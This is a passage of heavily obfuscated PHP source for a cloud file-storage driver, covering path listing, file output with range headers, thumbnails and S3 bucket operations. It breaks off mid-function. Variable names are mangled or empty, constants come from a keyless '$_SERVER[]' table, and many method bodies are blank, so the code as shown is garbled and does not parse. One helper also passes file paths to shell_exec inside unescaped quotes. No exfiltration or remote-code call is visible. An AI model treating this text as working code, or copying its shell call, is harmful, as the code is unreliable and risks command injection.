info($ڱ) { } public function infoSimple($) { return $this->info($); } public function infoAuth($̀ߛ) { return $this->info($̀ߛ); } public function infoFull($Ѐƌ) { return $this->info($Ѐƌ); } public function infoFullSimple($ǁ) { return $this->info($ǁ); } public function infoWithChildren($‰) { $Ҿ =& $_SERVER[]; static $̿ր = array(); if (isset($̿ր[$‰])) { return $̿ր[$‰]; } $ַ = $this->info($‰); if ($ַ && $ַ[$Ҿ[33]] == $Ҿ[78]) { $ɝ = array($Ҿ[79] => 0, $Ҿ[80] => 0, $Ҿ[81] => 0); $this->infoChildren($‰, $ɝ); $ַ[$Ҿ[79]] = $ɝ[$Ҿ[79]]; $ַ[$Ҿ[82]] = array($Ҿ[83] => $ɝ[$Ҿ[80]], $Ҿ[84] => $ɝ[$Ҿ[81]]); $̿ր[$‰] = $ַ; } return $ַ; } public function listPath($, $ = false) { } public function has($֝, $Ģ؉ = false, $ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($) { } public function setContent($, $ = '') { } protected function infoChildren($ܲ, &$) { $ԟ =& $_SERVER[]; check_abort_echo(); $ީ = $this->listPath($ܲ, !0); $ީ = array_merge($ީ[$ԟ[85]], $ީ[$ԟ[86]]); foreach ($ީ as $) { if ($[$ԟ[33]] == $ԟ[78]) { $[$ԟ[81]]++; $ц = $this->getPathInner($[$ԟ[87]]); $this->infoChildren($ц, $); } else { $[$ԟ[80]]++; $[$ԟ[79]] += $[$ԟ[79]]; } } } public function fileSubstr($, $, $ה) { } public function listAll($鲙Ż) { } public function listAllMake($Ťڔ, &$©Ҿ) { $ϧ =& $_SERVER[]; check_abort_echo(); $߰ = $this->listPath($Ťڔ, !0); if (!$߰) { return; } $Ƨ = array_merge($߰[$ϧ[85]], $߰[$ϧ[86]]); foreach ($Ƨ as $) { $ؼ = $[$ϧ[33]] == $ϧ[78]; $О = array($ϧ[87] => $[$ϧ[87]], $ϧ[78] => $ؼ); if (isset($[$ϧ[79]])) { $О[$ϧ[79]] = $[$ϧ[79]]; } if (isset($[$ϧ[88]])) { $О[$ϧ[88]] = $[$ϧ[88]]; } if (!$ؼ) { $©Ҿ[] = $О; continue; } $©Ҿ[] = $О; $ڊ = $[$ϧ[87]]; $㰛 = $this->pathDriver; if (substr($[$ϧ[87]], 0, strlen($㰛)) == $㰛) { $ڊ = substr($ڊ, strlen($㰛)); } $this->listAllMake($ڊ, $©Ҿ); } } public function listAllSimple($, $Ì = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $Ì); } public function listAllSimpleMake($լ, $, $й) { $Ÿ =& $_SERVER[]; $炅 = array(); $ = rtrim(get_path_father($), $Ÿ[8]) . $Ÿ[8]; foreach ($լ as $ۙ) { $刪 = array($Ÿ[87] => $ۙ[$Ÿ[87]], $Ÿ[89] => $ۙ[$Ÿ[87]], $Ÿ[78] => $ۙ[$Ÿ[78]]); if (isset($ۙ[$Ÿ[79]]) && !$ۙ[$Ÿ[78]]) { $刪[$Ÿ[79]] = $ۙ[$Ÿ[79]]; } if (isset($ۙ[$Ÿ[88]])) { $刪[$Ÿ[88]] = $ۙ[$Ÿ[88]]; } if (is_array($ۙ[$Ÿ[90]])) { $刪[$Ÿ[89]] = $ۙ[$Ÿ[90]][$Ÿ[87]]; $刪[$Ÿ[79]] = $ۙ[$Ÿ[90]][$Ÿ[79]]; $刪[$Ÿ[88]] = $ۙ[$Ÿ[90]][$Ÿ[88]]; } else { if (substr($ۙ[$Ÿ[87]], 0, strlen($)) == $) { $刪[$Ÿ[87]] = substr($ۙ[$Ÿ[87]], strlen($)); } } $ҽ߸ = $ۙ[$Ÿ[78]] ? $Ÿ[8] : $Ÿ[12]; $刪[$Ÿ[89]] = rtrim($刪[$Ÿ[89]], $Ÿ[8]) . $ҽ߸; $刪[$Ÿ[87]] = $Ÿ[8] . trim($刪[$Ÿ[87]], $Ÿ[8]) . $ҽ߸; if (!$й) { $ˆ = explode($Ÿ[8], trim($刪[$Ÿ[87]], $Ÿ[8])); $刪[$Ÿ[87]] = $Ÿ[8] . implode($Ÿ[8], array_slice($ˆ, 1)) . $ҽ߸; } $炅[] = $刪; } return array_sort_by($炅, $Ÿ[87]); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($, $, $˃ʥ) { } public function uploadFileByPath($, $ڈ, $ = array()) { } public function isUploadServer() { $θ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $θ[91]) { return !0; } return $GLOBALS[$θ[6]][$θ[92]][$θ[93]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[91]) { return !0; } return $GLOBALS[$[6]][$[92]][$[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($ꛪ) { $ʆΞ =& $_SERVER[]; if (!$this->isCdnHost()) { return $ꛪ; } return str_replace(trim(get_url_root($ꛪ), $ʆΞ[8]), trim($this->cdnHost, $ʆΞ[8]), $ꛪ); } public function uploadLink($Ӣ, $ = 0) { $̀֌ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ƹ = $this->getType(); if (!in_array($ƹ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Ř = 1024 * 1024 * 10; $꾌Ϭ = $ <= $Ř ? $̀֌[95] : $̀֌[96]; $ո = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ի = $this->{$꾌Ϭ}($Ӣ, $ո); if ($ի) { $ի[$̀֌[97]] = $Ӣ; $ի[$̀֌[98]] = $ƹ; } return $ի; } public function uploadFormData($Ɔ, $τ = 3600) { } public function multiUploadFormData($ݖ, $͛ = 3600) { } public function download($ȓݸ, $) { } public function ext($򥧂) { $ł =& $_SERVER[]; if (strpos($򥧂, $ł[8]) === -1) { $Ʀ = $򥧂; } else { $Ʀ = $this->pathThis($򥧂); } $ȹ = $ł[12]; if (strstr($Ʀ, $ł[10])) { $ȹ = substr($Ʀ, strrpos($Ʀ, $ł[10]) + 1); $ȹ = strtolower($ȹ); } if (strlen($ȹ) > 3 && preg_match($ł[99], $ȹ, $ܐ)) { $ȹ = $ł[12]; } return $ȹ; } public function pathThis($ۦ) { $奯 =& $_SERVER[]; $ۦ = str_replace($奯[100], $奯[8], rtrim($ۦ, $奯[8])); $ = strrpos($ۦ, $奯[8]); if ($ === !1) { return $ۦ; } return substr($ۦ, $ + 1); } public function pathFather($סԶ) { $ =& $_SERVER[]; $סԶ = str_replace($[100], $[8], rtrim($סԶ, $[8])); $ׂ = strrpos($סԶ, $[8]); if ($ׂ === !1) { return $[12]; } return substr($סԶ, 0, $ׂ + 1); } public function hashSimple($ܚ) { $ =& $_SERVER[]; if (!$ܚ) { return md5($[12]); } $ә = $this->size($ܚ); $ = 200; $ʂ = 50; if ($ә <= $ * $ʂ) { return $this->hashMd5($ܚ) . $ә; } $ = intval($ә / $ʂ); $ = $[12]; for ($ͨݸ = 0; $ͨݸ < $ʂ; $ͨݸ++) { $ .= $this->fileSubstr($ܚ, $ * $ͨݸ, $); } $ .= $this->fileSubstr($ܚ, $ә - $, $); return md5($) . $ә; } public static $md5Cache = array(); public function hashMd5($ɾͯ) { if (!$ɾͯ) { return md5($_SERVER[][12]); } $ɾͯ = $this->iconvSystem($ɾͯ); if (isset(self::$md5Cache[$ɾͯ])) { return self::$md5Cache[$ɾͯ]; } self::$md5Cache[$ɾͯ] = $this->hashMd5Shell($ɾͯ); if (!self::$md5Cache[$ɾͯ]) { self::$md5Cache[$ɾͯ] = @md5_file($ɾͯ); } return self::$md5Cache[$ɾͯ]; } private function hashMd5Shell($ȯ) { $ =& $_SERVER[]; if (!$ȯ) { return md5($[12]); } if (!function_exists($[101])) { return !1; } $ = array($[102], $[103]); $ҕ = Cache::get($[104]); if (!$ҕ) { $ǚ = BASIC_PATH . $[105]; $Ë = md5_file($ǚ); $ҕ = $[106]; foreach ($ as $) { $ʆ = shell_exec($ . "\x20\42{$ǚ}\42"); if ($ʆ && substr(trim($ʆ), 0, 32) == $Ë) { $ҕ = $; break; } } Cache::set($[104], $ҕ, 3600); } if ($ҕ == $[106]) { return !1; } $ʆ = shell_exec($ҕ . "\x20\42{$ȯ}\x22"); $ʆ = str_replace($[107], $[12], $ʆ); return substr($ʆ, 0, 32); } public function link($둞) { return $둞; } public function fileOut($҅, $وū = false, $ = false, $߅ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$҅ || !$this->exist($҅)) { show_json(LNG($[108]), !1, $); } $Ǚ = $this->getType() == $[109]; $Ї = $GLOBALS[$[6]][$[92]][$[110]][$[111]]; $⚡ = (double) $GLOBALS[$[6]][$[92]][$[110]][$[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $㘮 = $this->infoFull($҅); $ = $㘮[$[79]]; $ = gmdate($[113], $㘮[$[88]]); $撷 = $ ? $ : $this->iconvApp($㘮[$[32]]); $ = 0; $Ӝ = $ - 1; $ = $this->ext($撷); if (in_array($, array($[114], $[115], $[116], $[117]))) { $ = $[118]; } if (in_array($, array($[119]))) { $ = $[120]; } if (!$߅) { $߅ = md5($ . $); } $߅ = $[121] . $߅ . $[121]; $̫ߒ = get_file_mime($); $ô = !0; $ô = isset($_GET[$[122]]) ? !1 : !0; if ($وū === !1 && !mime_support($̫ߒ)) { $̫ߒ = $[123]; } header($[124]); header($[125] . $̫ߒ); $ = rawurlencode($撷); $ = $[121] . $ . $[126] . $; if ($وū) { header($[127]); header($[128] . $); } else { if ($ô) { header($[129] . $); } } $Ɏ = 3600 * 24 * 30; header($[130]); header($[131]); header($[132] . $Ɏ); header($[133] . gmdate($[113], time() + $Ɏ) . $[134]); if (isset($_SERVER[$[135]]) && strtotime($_SERVER[$[135]]) == $㘮[$[88]]) { header($[136], !0, 304); die; } if (isset($_SERVER[$[137]]) && $_SERVER[$[137]] == $߅) { header($[138] . $߅, !0, 304); die; } header($[138] . $߅); header($[139] . $ . $[134]); header($[140] . $撷); header($[141]); header($[142] . $); header($[143]); Hook::trigger($[144], $҅, $, $撷, $); if (!$وū && $ == $[145]) { if ($ > 1024 * 1024 * 5) { die; } $Χ = $this->getContent($҅); $Χ = Html::clearSVG($Χ); header($[146] . strlen($Χ)); echo $Χ; die; } $ = strtolower($_SERVER[$[147]]); if ($Ǚ && $ && $Ї) { if (strstr($, $[148])) { header($[149] . $҅); } else { if (strstr($, $[150])) { header($[151] . $҅); } else { if (strstr($, $[152])) { header($[153] . $҅); } } } if ($⚡) { header($[154] . $⚡); } return; } if (isset($_SERVER[$[155]])) { if (preg_match($[156], $_SERVER[$[155]], $)) { $ = intval($[1]); $ = $ <= 0 ? 0 : ($ >= $Ӝ ? $Ӝ : $); if (!empty($[2])) { $ = intval($[2]); $Ӝ = $ < $ ? $ : ($ >= $Ӝ ? $Ӝ : $); } } header($[157]); header("\103\157\156\164\145\156\x74\x2d\x52\141\156\147\x65\x3a\x20\x62\171\x74\145\163\40{$}\55{$Ӝ}\57" . $); } else { header($[158]); } header($[159]); header($[160]); $۾Ƌ = !0; if ($_SERVER[$[161]] == $[162] && $ > 1204 * 1024 * 1024 * 2) { $۾Ƌ = !1; } if ($۾Ƌ) { header($[163] . ($Ӝ - $ + 1)); } if ($_SERVER[$[164]] == $[165]) { return; } $ܟ = array($[166] => !1, $[167] => $, $[168] => $Ӝ, $[169] => $, $[170] => $㘮, $[171] => $[12], $[172] => 0); $ܟ = Hook::filter($[173], $ܟ); $ = 1024 * 300; $Ά = 0; if ($⚡) { $Ά = intval(1000 * 1000 * ($ / $⚡)); } while ($ <= $Ӝ) { $ = timeFloat(); check_abort(); $ = $Ӝ - $ + 1; if ($ <= $) { $ = $; } $Χ = $this->fileSubstr($҅, $, $); if ($ܟ[$[166]]) { $ܟ[$[171]] = $Χ; $ܟ[$[172]] = $; $ܟ = Hook::filter($[174], $ܟ); $Χ = $ܟ[$[171]]; } echo $Χ; $ += $; if ($ == $) { $ = $Ӝ + 1; } if ($Ά) { $ = intval(1000 * 1000 * (timeFloat() - $)); $ = $Ά - $; if ($ > 5) { usleep($); } } } } public function fileOutServer($, $؛ = false, $ = false, $״⯖ = '') { $this->fileOut($, $؛, $, $״⯖); } public function fileOutLink($ðń) { header($_SERVER[][175] . $ðń); die; } public function cacheMethod($պ, $Ż, $ = null) { $ =& $_SERVER[]; static $ = array(); $֖ȿ = $Ż ? ltrim($this->getPathOuter($Ż), $[8]) : $[12]; $ڂ = $[176] . $պ . $[177] . rtrim($֖ȿ, $[8]); if (is_null($պ)) { $ = array(); return; } if (is_null($Ż)) { foreach ($ as $ڂ => $) { if (!strstr($ڂ, $[176] . $պ . $[178])) { continue; } unset($[$ڂ]); } return; } if (!is_null($)) { $[$ڂ] = $; return; } $ݛ = isset($[$ڂ]) ? $[$ڂ] : null; if (!is_null($ݛ)) { return $ݛ; } $ݛ = $this->{$պ}($Ż); $[$ڂ] = $ݛ; return $ݛ; } public function cacheMethodInfoSet($ƶ, $Л, $ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[179], $ƶ, $Л); $this->cacheMethod($[180], $ƶ, $Л ? !1 : !0); if (is_array($)) { $this->cacheMethod($[181], $ƶ, $); } } public function fileOutImage($, $ئ = 250) { $Ȍ =& $_SERVER[]; set_timeout(); if (substr($, 0, 4) == $Ȍ[152]) { $this->fileOutLink($); } $ = $this->info($); $ = !1; $뼾 = isset($GLOBALS[$Ȍ[182]]) ? $GLOBALS[$Ȍ[182]] : array(); if ($뼾 && $뼾[$Ȍ[183]] == $[$Ȍ[87]]) { $ = $뼾; $̵ = $[$Ȍ[184]]; if ($̵ && isset($̵[$Ȍ[185]])) { if ($̵[$Ȍ[185]] <= $ئ && $̵[$Ȍ[186]] <= $ئ) { $ = !0; } } } if ($[$Ȍ[79]] <= 1024 * 50 || $ || !function_exists($Ȍ[187]) || $[$Ȍ[169]] == $Ȍ[188]) { return $this->fileOut($, !1, $[$Ȍ[32]]); } $̢ = kodIO::hashPath($); $՞ = "\x63\157\166\x65\x72\x5f{$̢}\137{$ئ}\x2e\x70\x6e\147"; $⹩ = IO_PATH_SYSTEM_TEMP . $Ȍ[189]; $ˎ = IO::infoFullSimple($⹩); $ = $ˎ && is_array($ˎ) ? $ˎ[$Ȍ[87]] : $Ȍ[12]; if (!$) { $ = IO::mkdir($⹩); } if ($[$Ȍ[190]] == $Ȍ[191] && isset($[$Ȍ[192]]) && $[$Ȍ[192]] == kodIO::sourceID($)) { $ح = $[$Ȍ[193]]; if ($ئ <= 500) { $啓 = preg_replace($Ȍ[194], $Ȍ[195], $[$Ȍ[32]]); $ح = IO::fileNameExist($, $啓); } return IO::fileOut(KodIO::make($ح), !1, $[$Ȍ[32]]); } $ߪ = IO::fileNameExist($, $՞); if ($ߪ) { return IO::fileOut(KodIO::make($ߪ), !1, $[$Ȍ[32]]); } if ($ئ > 1000) { $this->makeImageCover($, $, $՞, $ئ); $this->makeImageCover($, $, "\x63\x6f\x76\145\162\137{$̢}\x5f\62\65\60\56\x70\x6e\x67", 250); $ߪ = IO::fileNameExist($, $՞); if ($ߪ) { return IO::fileOut(KodIO::make($ߪ), !1, $[$Ȍ[32]]); } die; } if (!kodIO::allowCover($)) { return $this->fileOut($, !1, $[$Ȍ[32]]); } $Ԋ = Cache::get($՞); if ($Ԋ == $Ȍ[196] || $Ԋ == $Ȍ[197]) { echo $Ԋ; die; } Cache::set($՞, $Ȍ[197], 60); $ےýۥ = array($, $[$Ȍ[87]], $՞, $ئ); $ٛ = $Ȍ[198] . $[$Ȍ[79]] . $Ȍ[199] . $՞ . $Ȍ[200] . $[$Ȍ[32]] . $Ȍ[201] . $[$Ȍ[87]]; TaskQueue::add($Ȍ[202], $ےýۥ, $ٛ, $՞); } public function makeImageCover($ܐ, $ԒЖ, $ب, $) { $ң =& $_SERVER[]; if (IO::fileNameExist($ܐ, $ب)) { return $ң[203]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ = DATA_THUMB . $ب; del_file($); $Ά = IO::copy($ԒЖ, TEMP_FILES, !1, $ب); if (!@file_exists($Ά)) { return $ң[204]; } ImageThumb::createThumb($Ά, $, $, $ * 10); if (@file_exists($)) { Cache::remove($ب); return IO::move($, $ܐ); } Cache::set($ب, $ң[196], 600); del_file($); return $ң[205] . $Ά . $ң[74]; } public function fileOutImageServer($ƅ, $ƃ = 250) { $this->fileOutImage($ƅ, $ƃ); } public function fileNameAuto($Ռ, $ӄ, $ȅ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $ǿ = $Ռ === $[12] ? $ӄ : rtrim($Ռ, $[8]) . $[8] . $ӄ; if ($ȅ == REPEAT_REPLACE || !$this->exist($ǿ) || $ && $ȅ != REPEAT_RENAME_FOLDER) { return $ӄ; } if ($ȅ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($ӄ); $ = $ == $[10] || $ ? $[12] : $; $쮐 = 1; $ݜ = substr($ӄ, 0, strlen($ӄ) - strlen($)); $¿ = $ݜ . "\x28{$쮐}\51{$}"; while ($this->exist(rtrim($Ռ, $[8]) . $[8] . $¿)) { $¿ = $ݜ . "\x28{$쮐}\x29{$}"; $쮐++; } return $¿; } private function fileNameAutoList($, $˵, $ڮ = false) { $掟 =& $_SERVER[]; $‡ = $this->listPath($, !0); $‡ = array_merge($‡[$掟[85]], $‡[$掟[86]]); $˦ = array_to_keyvalue($‡, $掟[12], $掟[32]); $ج = $掟[10] . get_path_ext($˵); $ج = $ج == $掟[10] || $ڮ ? $掟[12] : $ج; $䊪 = substr($˵, 0, strlen($˵) - strlen($ج)); $ȿͫ = $䊪 . "\50\60\x29{$ج}"; for ($ݪ = 1; $ݪ <= count($˦) + 1; $ݪ++) { $ȿͫ = $䊪 . "\50{$ݪ}\51{$ج}"; if (!in_array_not_case($ȿͫ, $˦)) { return $ȿͫ; } } return $ȿͫ; } public function listAllFiles($œʌ, $ɜ) { $ =& $_SERVER[]; if (empty($ɜ)) { return array(); } $ = array_keys($ɜ); $ = array(); $œʌ = trim($œʌ, $[8]); foreach ($ɜ as $ο => $) { $я = ltrim(substr(trim($ο, $[8]), strlen($œʌ)), $[8]); if (substr($ο, -1) == $[8]) { $я = rtrim($я, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($я)); } $⎥ = array(); foreach (array_unique($) as $廢ʴ) { $ = array($[87] => $this->getPathOuter($[8] . $œʌ . $[8] . $廢ʴ), $[78] => 1, $[79] => 0); if (substr($廢ʴ, -1) != $[8]) { $[$[78]] = 0; $ԥ = $this->getPath($œʌ . $[8] . $廢ʴ); if (isset($ɜ[$ԥ])) { $ = $ɜ[$ԥ]; if (isset($[$[79]])) { $[$[79]] = intval($[$[79]]); } if (isset($[$[206]])) { $[$[88]] = intval($[$[206]]); } } } $⎥[] = $; } return $⎥; } public function slicePath($) { $ϼ =& $_SERVER[]; $ɚ = explode($ϼ[8], trim($, $ϼ[8])); $ަ = 0; do { ++$ަ; $俉[] = implode($ϼ[8], array_slice($ɚ, 0, $ަ)) . $ϼ[8]; } while ($ަ < count($ɚ)); $俉[count($ɚ) - 1] = $; return $俉; } public function getHost() { $ڸ =& $_SERVER[]; $ = parse_url(trim($this->domain, $ڸ[8])); $ = isset($[$ڸ[207]]) ? $[$ڸ[207]] : http_type(); $ = isset($[$ڸ[208]]) ? $[$ڸ[208]] : $[$ڸ[87]]; if (isset($[$ڸ[209]])) { $ .= $ڸ[4] . $[$ڸ[209]]; } return $ . $ڸ[210] . $; } public function pathEncode($) { $ݬ =& $_SERVER[]; return str_replace($ݬ[211], $ݬ[8], rawurlencode($)); } public function writeLog($څ = '', $ޗ͙ = false) { $Ρ =& $_SERVER[]; $Ґ = in_array(ACTION, array($Ρ[212], $Ρ[213])); if (!$Ґ && !GLOBAL_DEBUG) { return; } $Έ = $څ; static $Ҥߙ = null; if (!$Ҥߙ) { $Ҥߙ = strtoupper($this->getType()); } $څ = $Ҥߙ . $Ρ[214] . $څ; if ($ޗ͙) { $ = error_get_last(); if ($) { $څ = array($څ, $); } } write_log($څ, $Ρ[215]); if ($Ґ) { throw new Exception($Έ); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($Á) { set_timeout(); require_once SDK_DIR . $_SERVER[][216]; parent::__construct(); $this->_init($Á); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $ع) { if (isset($this->{$})) { $this->{$} = $ع; } } $this->endpoint = $[$[217]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); if (in_array(ACTION, array($[212], $[213]))) { $this->client->setExceptions(); } } public function setSignVersion($֠ = "\166\x34") { $this->signVer = $֠; $this->client->setSignatureVersion($֠); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $Ԩ) { return null; } } public function isBucketCors() { $¿ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if (!is_array($[$¿[218]])) { $[$¿[218]] = explode($¿[50], $[$¿[218]]); } if ($[$¿[219]] != $¿[220] || !in_array($¿[220], $[$¿[218]])) { return !1; } $ӭʒ = array_map($¿[221], $[$¿[222]]); if (!is_array($ӭʒ)) { $ӭʒ = array(); } $ѯ = array($¿[223], $¿[224], $¿[225], $¿[226], $¿[227]); $ʪġ = array_diff($ѯ, $ӭʒ); return empty($ʪġ); } public function getBucketRgn() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($ܶ, $ר = '', $ = REPEAT_RENAME) { $ߨȠ = $this->setContent($ܶ, $ר); if ($ߨȠ !== !1) { return $this->getPathOuter($ܶ); } return !1; } public function mkdir($ͳߝ, $ۮ = REPEAT_SKIP) { $俕 =& $_SERVER[]; if (empty($ͳߝ) && $ͳߝ !== $俕[228]) { return !1; } if ($ۮ && $this->_isFolder($ͳߝ)) { return $this->getPathOuter($ͳߝ); } $ = $this->setContent($ͳߝ, $俕[12], !0); if ($ !== !1) { return $this->getPathOuter($ͳߝ); } return !1; } public function copyFile($܎˱, $͔, $ܭ = array()) { $٢Ԟ =& $_SERVER[]; $ϧܑ = $this->objectMeta($܎˱); if (!$ϧܑ) { return !1; } if ($ϧܑ[$٢Ԟ[79]] <= 1024 * 1024 * 200) { $ߌ = $this->client->copyObject($this->bucket, $܎˱, $this->bucket, $͔, $٢Ԟ[229], $ܭ); } else { $ߌ = $this->client->multiCopyObject($this->bucket, $܎˱, $this->bucket, $͔, $ܭ); } $ߌ = $ߌ ? $this->getPathOuter($͔) : !1; return $ߌ; } public function moveFile($, $ჶ) { if ($this->copyFile($, $ჶ)) { $this->delFile($); return $this->getPathOuter($ჶ); } return !1; } public function delFile($ƭ) { return $this->client->deleteObject($this->bucket, $ƭ); } public function delFolder($ե㇋) { $ =& $_SERVER[]; if (!$this->exist($ե㇋)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ե㇋); $this->listItemCache = !0; $ = trim($ե㇋, $[8]) . $[8]; if (!empty($ե㇋) && $ե㇋ !== $[228] && !in_array($, $[$[85]])) { $[$[85]][] = $; } $ખ = $this->delByBatch($[$[86]]); if (!$ખ) { return !1; } $ખ = $this->delByBatch($[$[85]]); if (!$ખ) { return !1; } return $this->delFile($); } private function delByBatch($ب) { foreach (array_chunk($ب, 1000) as $˨) { $ȼ = $this->client->deleteObjects($this->bucket, $˨); if (!$ȼ) { return !1; } } return !0; } public function rename($, $ٕ) { return $this->renameObject($, $ٕ); } public function listPath($螩, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($螩, $[8], !0); foreach ($[$[85]] as $К => $) { $[$[85]][$К] = $this->folderInfo($, $, $); } foreach ($[$[86]] as $К => $) { $[$[86]][$К] = $this->fileInfo($[$[32]], $, $); } return $; } protected function infoChildren($׾, &$ŧ) { $ή =& $_SERVER[]; $ = $this->fileList($׾, $ή[12], !0); $ŧ[$ή[81]] += count($[$ή[85]]); $ŧ[$ή[80]] += count($[$ή[86]]); foreach ($[$ή[86]] as $ڎƋ) { if (!$ڎƋ || !$ڎƋ[$ή[79]]) { continue; } $ŧ[$ή[79]] += $ڎƋ[$ή[79]]; } } private function fileInfo($Ș, $ءɜ = false, $܇ = array()) { $ο =& $_SERVER[]; $Ǣ = array($ο[32] => $this->pathThis($Ș), $ο[87] => $this->getPathOuter($Ș), $ο[33] => $ο[230], $ο[169] => $this->ext($Ș), $ο[79] => isset($܇[$ο[79]]) ? $܇[$ο[79]] : 0); if ($ءɜ) { return $Ǣ; } $Ǣ[$ο[231]] = $Ǣ[$ο[88]] = 0; $Ǣ[$ο[232]] = $Ǣ[$ο[233]] = !0; if (empty($܇)) { $܇ = $this->objectMeta($Ș); if (!$܇) { return $Ǣ; } } if (isset($܇[$ο[234]]) && $܇[$ο[234]]) { $Ǣ[$ο[235]] = $܇[$ο[234]]; } if (isset($܇[$ο[206]])) { $Ǣ[$ο[88]] = $܇[$ο[206]]; } if (isset($܇[$ο[79]])) { $Ǣ[$ο[79]] = $܇[$ο[79]]; } return $Ǣ; } private function folderInfo($, $ = false, $ͪ = array()) { $ª =& $_SERVER[]; $Ѯ = array($ª[32] => $this->pathThis($), $ª[87] => $this->getPathOuter($ª[8] . $), $ª[33] => $ª[78]); if ($) { return $Ѯ; } $Ѯ[$ª[231]] = $Ѯ[$ª[88]] = 0; $Ѯ[$ª[232]] = $Ѯ[$ª[233]] = !0; if ($ == $ª[12]) { return $Ѯ; } if (empty($ͪ)) { $ͪ = $this->objectMeta(trim($, $ª[8]) . $ª[8]); } if (isset($ͪ[$ª[206]])) { $Ѯ[$ª[231]] = $ͪ[$ª[206]]; } return $Ѯ; } private function fileList($σո, $ = '', $ۉ = 0) { $䳊 =& $_SERVER[]; $ѽ = rtrim($σո, $䳊[8]) . $䳊[8]; $ = $this->listObjs($ѽ, null, null, $); if (!$) { return array($䳊[85] => array(), $䳊[86] => array()); } $ꠝ = $ٞ = array(); foreach ($[$䳊[236]] as $) { $ԇ = $[$䳊[32]]; if ($ԇ == $ѽ) { continue; } $ώН = isset($[$䳊[79]]) ? $[$䳊[79]] : 0; $ֆ = $ώН == 0 && substr($ԇ, strlen($ԇ) - 1, 1) == $䳊[8] ? !0 : !1; $this->cacheMethodInfoSet($ԇ, $ֆ, $); if ($ֆ) { $ꠝ[] = $ԇ; continue; } $ٞ[] = $ۉ ? $ : $ԇ; } foreach ($[$䳊[237]] as $) { $ꠝ[] = $[$䳊[32]]; $this->cacheMethodInfoSet($[$䳊[32]], !0); } $this->cacheMethodInfoSet($σո, !0); return array($䳊[85] => $ꠝ, $䳊[86] => $ٞ); } private function listObjs($ϣ, $ˑأ = null, $ = null, $ = null) { $ˠ҃ =& $_SERVER[]; $ϣ = trim($ϣ, $ˠ҃[8]); $Ż = empty($ϣ) && $ϣ !== $ˠ҃[228] ? $ˠ҃[12] : $ϣ . $ˠ҃[8]; return $this->client->getBucket($this->bucket, $Ż, $ˑأ, $, $, !0); } public function has($󰑼, $ = false, $ = true) { $ =& $_SERVER[]; $󰑼 = trim($󰑼, $[8]); $ = empty($󰑼) && $󰑼 !== $[228] ? $[12] : $󰑼 . $[8]; $׻ = null; $ޣ = 500; $Ϝ = $[8]; $ = $ = array(); while (!0) { $Ƀ = $this->listObjs($󰑼, $׻, $ޣ, $Ϝ); if (!$Ƀ) { break; } $׻ = $Ƀ[$[238]]; $͹ = $Ƀ[$[236]]; $ = $Ƀ[$[237]]; if (empty($͹) && empty($)) { break; } if (count($͹) == 1 && $͹[0][$[32]] == $) { break; } if ($) { if (count($͹)) { $͹ = array_column($͹, $[32]); $ = array_merge($, $͹); } if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if ($׻ === null) { break; } continue; } if ($) { if (!empty($͹)) { if (count($͹) > 1 || isset($͹[0][$[32]]) && $͹[0][$[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($׻ === null) { break; } } if ($) { $ = array_diff($, array($)); $ = count(array_unique($)); $ = count(array_unique($)); return array($[239] => $, $[240] => $); } return !1; } public function listAll($) { $̝ =& $_SERVER[]; $竄 = $this->fileList($, $̝[12], !0); $篟Í = array_to_keyvalue($竄[$̝[86]], $̝[32]); foreach ($竄[$̝[85]] as $ˈ) { if (is_string($ˈ)) { $篟Í[$ˈ] = array($̝[79] => 0); } } return $this->listAllFiles($, $篟Í); } public function canRead($) { $ =& $_SERVER[]; $䔖 = $this->client->getAccessControlPolicy($this->bucket, $); if (!$䔖) { return !1; } return in_array($䔖, array($[241], $[242], $[243])) ? !0 : !1; } public function canWrite($) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[241], $[242])) ? !0 : !1; } public function getContent($ދ) { return $this->client->getObject($this->bucket, $ދ); } public function setContent($, $Թ = '', $ދ = false) { $Ń =& $_SERVER[]; $ = $ދ ? trim($, $Ń[8]) . $Ń[8] : $; $̊ = get_file_mime(get_path_ext($)); $Ӳ̀ = $this->client->putObject($Թ, $this->bucket, $, $Ń[229], array(), $̊); if (!$Ӳ̀) { return !1; } if ($ދ) { return !0; } return $Ӳ̀ ? !0 : !1; } public function fileSubstr($, $̝܄, $) { $⠿ = $̝܄ + $ - 1; return $this->client->getObject($this->bucket, 